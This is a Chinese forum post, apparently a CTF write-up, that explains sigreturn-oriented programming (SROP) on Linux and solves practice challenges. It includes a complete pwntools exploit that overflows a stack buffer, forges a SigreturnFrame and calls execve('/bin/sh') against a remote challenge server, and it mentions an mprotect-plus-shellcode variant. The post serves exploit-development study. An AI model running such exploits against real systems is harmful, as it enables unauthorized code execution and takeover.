首页
社区
课程
招聘
[原创] SROP分析及例题
发表于: 2020-3-10 19:22 14309

[原创] SROP分析及例题

2020-3-10 19:22
14309

758K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6U0N6r3k6Q4x3X3c8%4K9h3E0A6i4K6u0W2k6$3W2@1K9s2g2T1i4K6u0W2K9h3!0Q4x3V1k6U0N6r3k6Q4x3X3c8%4K9h3E0A6i4K6u0r3M7s2N6F1i4K6u0r3L8r3W2F1N6i4S2Q4x3V1k6K6N6r3q4U0K9$3!0$3k6i4u0X3L8r3!0%4i4K6u0r3j5h3c8$3j5h3&6U0k6h3c8Q4x3X3c8J5L8%4m8Q4x3X3c8*7K9q4)9J5c8W2)9J5x3%4y4J5L8%4l9`.
e70K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6T1L8r3!0Y4i4K6u0W2j5%4y4V1L8W2)9J5k6h3&6W2N6q4)9J5c8X3I4#2L8%4A6Z5j5h3!0@1K9h3q4F1i4K6u0r3j5i4u0@1K9h3y4D9k6g2)9J5c8X3c8W2N6r3q4A6L8s2y4Q4x3V1j5%4z5e0j5H3y4K6f1%4x3R3`.`.
9e6K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6%4N6%4N6Q4x3X3g2S2L8Y4q4#2j5h3&6C8k6g2)9J5k6h3y4G2L8g2)9J5c8Y4m8G2M7%4c8Q4x3V1k6A6k6q4)9J5c8U0R3#2z5o6p5H3
5a3K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6%4N6%4N6Q4x3X3g2X3M7X3g2W2j5Y4g2X3i4K6u0W2j5$3!0E0i4K6u0r3j5i4u0@1K9h3y4D9k6i4y4Q4x3V1k6F1k6i4c8%4L8%4u0C8i4K6u0r3z5o6M7@1y4o6N6Q4x3X3g2Z5N6r3#2D9
其中的重点就是

需要注意的是,我们在构造 ROP 攻击的时候,需要满足下面的条件
1.可以通过栈溢出来控制栈的内容
2.需要知道相应的地址

3.需要有够大的空间来塞下整个 sigal frame

32 位的 sigreturn 的调用号为 77;在 64 位系统中,sigreturn 系统调用对应的系统调用号为 15。寄存器 eax 中存放系统调用号,同时系统调用返回值也存放在 eax 中。
以64位系统为例,只需要RAX=15,并且执行 syscall 即可实现调用 sigreturn 调用。而 RAX 寄存器的值又可以通过控制某个函数的返回值来间接控制,比如说 read 函数的返回值为读取的字节数

伪造sigcontext结构,push到栈中。伪造过程中需要将eax,ebx,ecx等参数寄存器设置为相关值,eip设置为syscall的地址。并且需要注意的是esp,ebp和es,gs等段寄存器不可直接设置为0,经过个人测试,这样不会成功。

然后将返回地址设置为sigreturn的地址(或者相关gadget)。

最后当sigreturn系统调用执行完后,就直接执行你的系统调用了。

保护全开


由汇编代码可得调用了read(fd, &buf, 0x400) write(fd, &buf, 0x30)
存在溢出
本题中存在的对栈的处理pop push就只有 开始的push rbpret=pop rip
所以最后返回的rip被rbp赋值,我们可以覆盖到rbp从而改变了返回地址


同时还能发现故意设置的gadgets

pwntools 中已经集成了对于 srop 的攻击:2e0K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6V1L8$3y4K6i4K6u0W2M7s2N6F1N6r3!0G2L8s2y4Q4x3X3g2U0L8$3#2Q4x3V1k6W2L8W2)9J5c8Y4y4@1j5h3u0D9k6g2)9J5c8Y4u0G2M7q4)9J5c8Y4y4J5L8%4m8Q4x3X3g2Z5N6r3#2D9

execve的函数定义

所以实际上我们要调用

查找ropgadget

没有找到rdx,直接使用__libc_csu_init传参

比较麻烦

参考 :c5aK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6*7K9s2g2S2L8X3I4S2L8W2)9J5k6i4A6Z5K9h3S2#2i4K6u0W2j5$3!0E0i4K6u0r3M7q4)9J5c8U0p5H3y4U0l9I4y4o6t1K6y4l9`.`.

看了一下,整个二进制文件都分析不清楚,只能get到漏洞点
32位牵扯到了VDSO
d8eK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6Y4K9i4c8Z5N6h3u0Q4x3X3g2U0L8$3#2Q4x3V1k6U0N6r3k6K6i4K6u0r3N6%4u0A6N6r3g2Q4x3X3c8#2M7s2y4Q4x3X3b7J5x3o6p5#2i4K6u0r3N6s2u0W2k6g2)9J5c8X3#2S2M7%4c8W2M7W2)9J5c8X3c8W2k6X3y4G2L8W2)9J5k6s2q4#2j5h3I4A6k6X3W2W2M7W2)9J5k6r3y4@1k6W2)9J5k6o6t1H3x3e0g2Q4x3V1k6H3N6$3&6S2j5X3I4W2i4K6u0r3k6Y4g2U0K9%4g2H3
3e0K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8X3u0A6L8X3A6S2i4K6u0W2k6$3W2@1K9s2g2T1i4K6u0W2K9h3!0Q4x3V1j5J5x3o6p5#2i4K6u0r3x3o6g2Q4x3V1j5I4z5g2)9J5c8X3c8W2k6X3y4G2L8X3y4@1k6U0t1H3x3e0g2Q4x3X3c8X3N6h3y4C8N6i4m8Q4x3X3c8%4M7X3W2@1k6i4g2H3i4K6u0r3

ida少的可怜,总之实现了read(0, $rsp, 0x400)

没有给我们可用的sigreturn,这就用到前文说的:

以64位系统为例,只需要RAX=15,并且执行 syscall 即可实现调用 sigreturn 调用。而 RAX 寄存器的值又可以通过控制某个函数的返回值来间接控制,比如说 read 函数的返回值为读取的字节数

我们希望通过syscall调用execve("/bin/sh", 0, 0) 跟第一题有点像哈

SROP + mprotect + shellcode
前面部分和整体思想和法一是一样的,只是最后不是execve 而是用mprotext修改内存区属性再写入shellcode拿shell
这个参考:f88K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6T1k6i4y4@1N6$3W2F1k6#2)9J5k6h3#2W2i4K6u0r3x3U0l9I4y4#2)9J5k6o6x3$3x3r3y4Z5N6h3&6I4K9i4g2Q4x3X3c8G2L8X3I4A6L8X3g2Q4x3X3g2Z5N6r3#2D9 学到的新方法

Linux/x64 - Execute /bin/sh Shellcode (24 bytes)

 
 
 
 
    /*for x86*/

    mov eax,0x77

    int 80h



    /*for x86_64*/

    mov rax,0xf

    syscall
| sig_ret|  <---esp
| .......|
|        |
| frame  |  
|........|
|        |
——————————
#!usr/bin/python
from pwn import *
context(arch='amd64', os='linux', log_level = 'DEBUG')
context.log_level = 'debug'

# io = process('./s3')
io = remote("node3.buuoj.cn",28503)
elf = ELF("./s3")

vuln_addr = 0x00000000004004ED
sigreturn_addr = 0x00000000004004DA
syscall_addr = 0x0000000000400501


payload  = "/bin/sh\x00"
payload  = payload.ljust(0x10, 'a')
payload += p64(vuln_addr)
io.send(payload)
io.recv(0x20)
binsh_addr = u64(io.recv(8))-280        # 0x00007fffffffde08 - 0x00007fffffffdcf0 = 280
print "binsh_addr = " +hex(binsh_addr)

frame = SigreturnFrame()
frame.rax = constants.SYS_execve
frame.rdi = binsh_addr
frame.rsi = 0
frame.rdx = 0
frame.rip = syscall_addr

payload  = "/bin/sh\x00"
payload  = payload.ljust(0x10, 'a')
payload += p64(sigreturn_addr) + p64(syscall_addr) + str(frame)
io.send(payload)

io.interactive()

[培训]科锐逆向工程师培训第53期2025年7月8日开班!

最后于 2020-3-10 19:28 被plkk编辑 ,原因:
收藏
免费 2
支持
分享
最新回复 (4)
雪    币: 2510
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
2
帮顶
2020-3-13 18:06
1
雪    币: 5
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
3
顶一下,真的挺好的
2020-4-1 23:01
0
雪    币: 192
活跃值: (361)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
4
赞,可以申请加优
2020-4-21 11:45
0
雪    币: 4230
活跃值: (1435)
能力值: (RANK:270 )
在线值:
发帖
回帖
粉丝
5
感谢分享,可以上传下相关题目的附件,方便大家学习
2020-4-26 22:52
0
游客
登录 | 注册 方可回帖
返回